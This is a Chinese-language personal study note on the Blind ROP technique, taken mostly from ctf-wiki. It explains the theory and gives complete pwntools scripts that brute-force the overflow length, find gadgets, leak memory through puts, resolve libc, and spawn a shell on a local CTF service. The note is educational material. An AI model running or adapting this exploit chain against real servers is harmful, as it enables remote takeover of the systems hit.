开始愉快得学习blindROP之旅
emmmm,一点点地看完了,因为不怎么了解目标文件结构,有些地方不是很懂,当知道他要做什么事情。然后发现....用别人集成的东西真好,用ida真好
复述一下原理
判断栈溢出长度
- 暴力枚举
Stack Reading
- 获取栈上的数据来泄露 canaries,以及 ebp 和返回地址。在一个字节一个一个尝试canary(这个思路适合于canary不变,且程序崩溃后能重新启动不改变原canar)(目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的)
Blind ROP
找到足够多的 gadgets 来控制输出函数的参数,并且对其进行调用,比如说常见的 write 函数以及 puts 函数。具体是利用填入不同的已知地址顺序来知道所猜的地址是否为可用gadget,另外如果想控制rdx,可以利用strcmp函数,执行 strcmp 的时候,rdx 会被设置为将要被比较的字符串的长度
-
- probe,stop,traps(traps,traps,...)
-
我们通过程序崩溃与否 (如果程序在 probe 处直接崩溃怎么判断) 可以找到不会对栈进行 pop 操作的 gadget,如
- ret
- xor eax,eax; ret
probe,trap,stop,traps
我们可以通过这样的布局找到只是弹出一个栈变量的 gadget。如
- pop rax; ret
- pop rdi; ret
probe, trap, trap, trap, trap, trap, trap, stop, traps
我们可以通过这样的布局来找到弹出 6 个栈变量的 gadget,也就是与 brop gadget 相似的 gadget。这里感觉原文是有问题的,比如说如果遇到了只是 pop 一个栈变量的地址,其实也是不会崩溃的,,这里一般来说会遇到两处比较有意思的地方
- plt 处不会崩,,
- _start 处不会崩,相当于程序重新执行。
Build the exploit
- 利用输出函数来 dump 出程序以便于来找到更多的 gadgets,从而可以写出最后的 exploit。典型的利用rop
然后是对应脚本
确定栈溢出长度 [¶]
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('WelCome my friend,Do you know password?n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
寻找 stop gadgets[¶]
寻找过程如下
def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr)
return addr
except Exception:
addr += 1
sh.close()
识别 brop gadgets
下面,我们根据上面介绍的原理来得到对应的 brop gadgets 地址。构造如下,get_brop_gadget 是为了得到可能的 brop gadget,后面的 check_brop_gadget 是为了检查。
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
确定 puts@plt 地址 [¶]
根据上面,所说我们可以构造如下 payload 来进行获取
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
泄露 puts@got 地址 [¶]
在我们可以调用 puts 函数后,我们可以泄露 puts 函数的地址,进而获取 libc 版本,从而获取相关的 system 函数地址与 / bin/sh 地址,从而获取 shell。我们从 0x400000 开始泄露 0x1000 个字节,这已经足够包含程序的 plt 部分了。代码如下
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("nWelCome")]
except Exception:
data = data
if data == "":
data = 'x00'
return data
except Exception:
sh.close()
return None
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
exp
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('nWelCome', drop=True)
puts_addr = u64(data.ljust(8, 'x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
(以上内容绝大部分来自ctf-wiki,这里仅供自己学习记录,若有侵权,请联系我)